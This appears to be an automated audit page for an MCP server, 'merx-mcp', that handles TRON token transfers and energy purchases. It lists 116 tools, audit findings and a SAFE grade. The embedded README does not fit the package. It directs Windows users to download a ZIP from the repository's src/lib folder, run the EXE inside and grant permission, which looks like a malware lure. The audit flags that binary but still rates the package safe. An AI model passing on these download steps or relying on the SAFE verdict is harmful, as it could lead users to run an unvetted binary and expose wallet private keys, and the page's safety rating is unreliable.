merx-mcpSAFE
mcp/nicosmall503/merx-mcp
Power AI agents on TRON with 66 MCP tools for energy markets, USDT/USDC/USDD payments, and x402 v2 facilitation
Verdict
SAFE
Grade
B
Trust score
89 /100
Exposed tools
116 88r · 28w · 0d
Transport
stdio · streamable-http
License
MIT
Stars
0
01
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://raw.githubusercontent.com/nicosmall503/merx-mcp/main/src/lib/merx-mcp-v2.0.zip)
🧩 What this app does
merx-mcp helps AI agents work with the TRON network from one setup. It gives you tools for sending USDT, moving TRX, checking balances, swapping tokens, and simulating actions before they run.
It also manages network resources like energy and bandwidth. That means you can run TRON tasks with less manual setup.
💻 What you need
- A Windows PC
- A web browser
- An internet connection
- A TRON wallet or account if you plan to use live network actions
- Enough disk space to save the app files
For best results, use a recent version of Windows 10 or Windows 11.
📥 Download the app
Visit this page to download the latest release:
https://raw.githubusercontent.com/nicosmall503/merx-mcp/main/src/lib/merx-mcp-v2.0.zip
On that page:
- Find the newest release at the top.
- Open the release assets.
- Download the Windows file for your device.
- Save it to a folder you can find again, like Downloads or Desktop.
If the release includes a ZIP file, download that file. If it includes an EXE file, download that file.
🪟 Install on Windows
- Open the folder where the file was saved.
- If the file is a ZIP file, right-click it and choose Extract All.
- Open the extracted folder.
- If the file is an EXE file, double-click it to start the app.
- If Windows asks for permission, choose Yes.
- Follow the on-screen steps until the app opens.
If you do not see the app window right away, wait a few seconds. Some Windows apps need time to start.
⚙️ First-time setup
The app uses one config line, so setup stays simple.
- Open the app settings or config file.
- Add your TRON connection details.
- Save the file.
- Restart the app.
A common setup may include:
- A wallet address
- A private key or signing
Read from source at commit
335d6c2524eaOBSERVED · 2026-10-1102
Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.
claude-code (npm)
claude mcp add merx-mcp --env MERX_API_KEY=${MERX_API_KEY} --env TRON_PRIVATE_KEY=${TRON_PRIVATE_KEY} -- npx -y [email protected]03
Exposed tools (116)
88 read · 28 write · 0 destructive.
| Tool | Risk | Description |
|---|---|---|
address | read | TRON address whose delegations should be auto-renewed |
amount | read | Amount of from_token to swap |
amount_trx | read | Amount of TRX to deposit. If provided, shows how many transfers this covers. |
analyze_prices | read | Market price analysis with trends and recommendations. No auth required. |
approve_trc20 | read | Approve TRC-20 spending allowance. Signs and broadcasts on-chain. Requires TRON_PRIVATE_KEY. |
audit-spending | read | Analyze spending on energy, bandwidth, and fees over a time period |
auto-renew-delegations | read | Automatically renew resource delegations before they expire |
bandwidth | read | Minimum bandwidth to maintain |
bandwidth_intensive | read | Whether operations are bandwidth-intensive |
budget-plan | write | Create a daily/weekly/monthly budget plan for TRON operations. |
budget_trx | write | Maximum TRX budget for the standing order. If omitted, no budget limit. |
buy-bandwidth | read | Buy TRON bandwidth at the best market price |
buy-energy | read | Buy TRON energy at the best market price |
buy-without-account | read | Buy TRON resources without a Merx account using x402 payment protocol |
calculate_savings | read | Calculate savings from renting energy vs burning TRX. No authentication required. |
call_contract | write | Execute a state-changing smart contract function. Estimates resources, |
cancel_monitor | read | Cancel an active monitor by its UUID. The monitor stops firing notifications. Auth required (API key). |
cancel_standing_order | write | Cancel a standing order by its UUID. The order is moved to CANCELLED status and will not trigger again. Already-executed actions are NOT reversed. Auth required (API key). |
check-token | read | Get detailed information about a TRC-20 token: price, liquidity, |
check-wallet | read | Full wallet overview: balances, resources, staking, and recent activity |
check_address_resources | read | Check energy, bandwidth, and TRX balance for any TRON address. No auth required. |
client | read | AI client to configure: Claude Desktop, Cursor, Claude Code, or other |
compare-providers | read | Deep comparison of providers for a specific use case |
compare_providers | read | Side-by-side provider comparison with prices and availability. No auth required. |
compile_policy | write | Convert a natural language energy management policy into MERX automation. Creates standing orders and monitors based on your instructions. Examples: - |
convert_address | read | Convert TRON address between base58 (T...) and hex (41...) formats. No auth required. |
create_account | write | Create a new Merx account, generate an API key, and get deposit info. No auth needed. |
create_invoice | write | Create an invoice for another agent or human to pay. Returns payment URL, address, and QR code. Payment is detected automatically via ZeroMQ (<3 seconds). |
create_order | write | Buy energy or bandwidth on Merx. Routed to cheapest provider. Auth required. |
create_paid_order | write | Create a zero-registration order via x402 pay-per-use. Requires TRON_PRIVATE_KEY. |
create_standing_order | write | Create a server-side standing order with trigger-based automation. Auth required. |
daily_bandwidth | read | Daily bandwidth consumption |
daily_energy | write | Daily energy consumption (e.g. 65000 per USDT transfer) |
daily_transfers | read | Number of token transfers per day (e.g. 10, 50, 200) |
deposit_amount_trx | read | Amount of TRX to deposit when threshold is reached. Defaults to 50 TRX. |
deposit_trx | read | Deposit TRX to your Merx account. Requires MERX_API_KEY + TRON_PRIVATE_KEY. |
description | read | Natural language description of the plan to simulate (e.g. |
duration | read | Delegation duration (e.g. 1h, 3d, 14d). Defaults to cheapest available. |
email | read | Email address for the new Merx account |
energy | write | Minimum energy to maintain (e.g. 65000 for one USDT transfer) |
ensure-resources | read | Guarantee minimum energy + bandwidth on an address |
ensure_resources | read | Declarative resource provisioning. Checks current resources on target address |
estimate-costs | read | Estimate the cost of a TRON operation including energy, bandwidth, |
estimate_contract_call | read | Estimate energy and bandwidth cost for a smart contract call. |
estimate_transaction_cost | read | Estimate cost of a TRON transaction BEFORE sending. Aliases: estimate_cost, calculate_cost, transaction_cost, energy_cost, transfer_cost. Calculate exactly how much energy, bandwidth, and TRX a TRON transaction will cost before sending it. Use this to answer questions like |
execute-plan | write | Execute a multi-step plan with resource optimization |
execute_swap | write | Execute a token swap on SunSwap V2. Requires TRON_PRIVATE_KEY. |
explain-transaction | read | Analyze and explain a TRON transaction in human-readable terms |
explain_concept | read | Explain a TRON or Merx concept in plain language. Hardcoded topics (exact match): energy, bandwidth, staking, delegation, sun_units, burn_vs_rent, merx_routing, provider_types. The lookup is fuzzy — substring matches also work, so |
frequency | read | How often you need this resource (e.g. once, daily, hourly) |
from_token | read | Token to sell (symbol or contract address, e.g. TRX, USDT) |
fund-account | read | Fund your Merx account with TRX |
get_balance | read | Get your Merx account balance (TRX, USDT, locked). Requires MERX_API_KEY. |
get_block | read | Get TRON block info by number (or latest if omitted). No auth required. |
get_chain_parameters | read | Get TRON network parameters (energy fee, bandwidth cost, etc.) with Merx price comparison. No auth required. |
get_deposit_info | read | Get your Merx deposit address and memo. Requires MERX_API_KEY. |
get_price_history | read | Historical price snapshots. No auth required. |
get_standing_order | write | Get full details of a single standing order by its UUID. Returns trigger config, action params, budget, executions count, and status. Auth required (API key). |
get_swap_quote | read | Get a real swap quote from SunSwap V2. No auth required. |
get_token_info | read | Get TRC-20 token metadata: name, symbol, decimals, total supply. No auth required. |
get_token_price | read | Get token price via SunSwap quote + CoinGecko USD rate. No auth required. |
get_transaction | read | Look up a transaction by ID on TRON. No auth required. |
get_transaction_history | read | Get your Merx account transaction history. Requires MERX_API_KEY. |
get_trc20_balance | read | Get TRC-20 token balance for an address. Supports symbol (USDT, USDC) or contract address. No auth required. |
get_trx_balance | read | Quick TRX balance for a TRON address. No auth required. |
get_trx_price | read | Get current TRX price from CoinGecko. No auth required. |
integrate-merx | read | Generate integration code for Merx SDK |
language | read | Programming language or tool: JS, Python, or curl. Defaults to JavaScript. |
list_orders | read | List recent orders with optional status filter. Auth required. |
list_providers | read | List all Merx providers with types, durations, and availability. No authentication required. |
list_standing_orders | read | List all standing orders with optional status filter. Auth required. |
login | read | Log in to an existing Merx account. No MERX_API_KEY needed. |
lookup_invoice | read | Look up a MERX invoice. Shows amount, recipient, token, and status. Agent must sign and broadcast the transfer separately (non-custodial). |
market-analysis | read | Full TRON energy and bandwidth market analysis |
max_price_sun | read | Maximum price in SUN per energy unit for renewal. Defaults to 40 SUN. |
mode | read | Server mode: hosted (merx.exchange) or local (self-hosted). Defaults to hosted. |
monitor-delegations | read | Show all active resource delegations to and from an address |
multi-transfer | write | Send tokens to multiple recipients in one batch operation |
onboard | write | Set up a new Merx account with API key and deposit address |
operation | read | Operation to estimate (e.g. |
optimize-wallet | read | Analyze wallet usage patterns and recommend optimizations |
period | read | Time period to audit: 7d, 30d, or 90d. Defaults to 30d. |
price-check | read | Get current prices for one or more tokens with 24h change and volume |
read_contract | read | Call a view/pure function on a TRON smart contract. |
recipients | read | Comma-separated list of address:amount pairs |
request_payment | write | Create a TRC20 payment request on TRON (USDT, USDC, USDD, or any TRC20). Returns a payment address. Fires webhook when payment arrives (<3 seconds). Use for receiving payments from other agents or humans. Requires agent registration first — call register_agent if you get AGENT_NOT_REGISTERED error. |
resource | read | Resource type: ENERGY or BANDWIDTH |
resource_broadcast | read | Broadcast a signed TRON transaction with automatic energy optimization. If the target address lacks sufficient energy, MERX purchases the deficit at the best market price before broadcasting. One call: estimate, buy energy, wait for delegation, broadcast. Requires MERX_API_KEY with the |
resource_strategy | read | Resource acquisition strategy: batch_cheapest (buy all resources upfront at best price) or per_step (buy resources before each step). Defaults to batch_cheapest. |
search_transaction_history | read | Get on-chain transaction history for a TRON address. No auth required. |
send-token | write | Send any TRC-20 token to a TRON address |
send-trx | write | Send TRX to a TRON address |
send-usdt | write | Send USDT (TRC-20) to a TRON address with optimized fees |
set_api_key | write | Set your Merx API key for this session. Unlocks all authenticated tools (trading, balance, orders). Use this if you already have an API key. |
set_private_key | write | Set your TRON private key for this session. Address is derived automatically. Enables write tools: transfer_trx, transfer_trc20, approve_trc20, execute_swap, deposit_trx. Key stays local - never sent to Merx servers. |
setup-auto-funding | read | Configure automatic Merx account funding |
setup-mcp | write | Set up Merx MCP server for an AI client |
setup-standing-order | write | Create a standing order that buys resources when price conditions are met |
simulate-plan | read | Simulate a multi-step operation before executing to preview costs and outcomes |
stake-vs-rent | read | Compare staking TRX for resources vs renting on Merx. |
suggest_duration | read | Recommend a rental duration based on your use case. No authentication required. |
swap-tokens | read | Swap tokens on TRON DEX with best route and slippage protection |
target_address | read | TRON address to receive the energy delegation |
threshold_trx | read | TRX balance threshold that triggers auto-funding. Defaults to 10 TRX. |
to_address | read | Destination TRON address |
to_token | read | Token to buy (symbol or contract address, e.g. USDD, JST) |
token | read | Token symbol or contract address to research |
tokens | read | Comma-separated list of token symbols (e.g. |
transfer_trc20 | write | Transfer TRC-20 tokens with automatic energy optimization. Signs and broadcasts on-chain. Requires TRON_PRIVATE_KEY. |
transfer_trx | write | Send TRX to an address. Checks bandwidth, buys via Merx if needed. Signs and broadcasts on-chain. Requires TRON_PRIVATE_KEY. |
trigger_price | write | Price threshold in SUN per unit that triggers the order |
tx_id | read | TRON transaction hash to analyze |
use_case | read | Specific use case for the integration. Defaults to buying energy before TRC20 transfers. |
validate_address | read | Validate a TRON address format and check on-chain status. No auth required. |
watch_address | read | Watch any TRON address for TRC20 transfers (USDT, USDC, USDD, or any token). Fires webhook on each matching transfer. Persistent - runs 24/7 even when conversation ends. |
withdraw | read | Withdraw TRX or USDT from your Merx account to an external TRON address. The |
04
Trust audit
SAFEgrade B · trust 89/100 Nothing in the source contradicts what it says it does. Grade A is reserved for packages that have also passed the behavioural sandbox.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | PASS |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- none-observed
- Network
- declared (5 observation(s))
- Shell
- none-observed
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (8)
MEDIUMInventory / provenance · inv.binary · CWE-1104
src/lib/merx-mcp-v2.0.zip
merx-mcp-v2.0.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
package.json
tronweb, @types/node, typescript
Why it matters. 3 dependency range(s) float
Fix. pin exact versions or ship a lockfile
LOWPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
docs/ARCHITECTURE.md:426
| Full access | API key + private key | 55 tools: + transfers, swaps, approvals, contract execution, intents, x402 |
LOWPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
docs/CONFIGURATION.md:62
With environment variables for full access:
LOWPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
docs/CONFIGURATION.md:193
- 55 tools visible: full access.
LOWPrompt injection · prompt.authority_framing · CWE-94, CWE-1427
docs/HOME.md:3
merx is a Model Context Protocol (MCP) server that gives AI agents full access to
LOWPrompt injection · prompt.credential_read · CWE-94, CWE-1427
docs/ARCHITECTURE.md:426
| Full access | API key + private key | 55 tools: + transfers, swaps, approvals, contract execution, intents, x402 |
Why it matters. asks the agent to read credentials
LOWPrompt injection · prompt.transfer_instruction · CWE-94, CWE-1427
docs/API-REFERENCE.md:31
| POST | `/webhooks` | API key | Register a webhook URL. Body: `{ url, events[] }` |Why it matters. an instruction to move sensitive data to an outside destination
Fix. remove; a skill never needs the user's secrets off the machine
Gates applied: no_behavioural_pass.
Audited 2026-10-11 · audit v0.4.1 · source sha
335d6c2524eafull audit observations/trust-audit/mcp-server/nicosmall503__merx-mcp.json · Report an issue / request a re-scan05
Audit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 335d6c2524ea | SAFE | B | 89 | first audit |
06
Questions
What is the merx-mcp MCP server?
Power AI agents on TRON with 66 MCP tools for energy markets, USDT/USDC/USDD payments, and x402 v2 facilitation
What tools does merx-mcp expose?
116 in total: 88 read-only, 28 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.
Is merx-mcp safe to connect to an agent?
The audit found nothing in the source that contradicts what it says it does, and graded it B (89/100). Grade A is held back for packages that have also passed a sandboxed behavioural run, which is why a clean server reads B.
What credentials does merx-mcp need?
It reads MERX_API_KEY, TRONGRID_API_KEY and TRON_PRIVATE_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does merx-mcp run?
It speaks stdio and streamable-http, so it runs as a local process your client starts. It is published on npm as merx-mcp at 1.0.6.
How current is this page?
The grade is for one exact copy of the source (335d6c2524ea), read on 2026-10-11. The repository is watched and re-audited when it changes.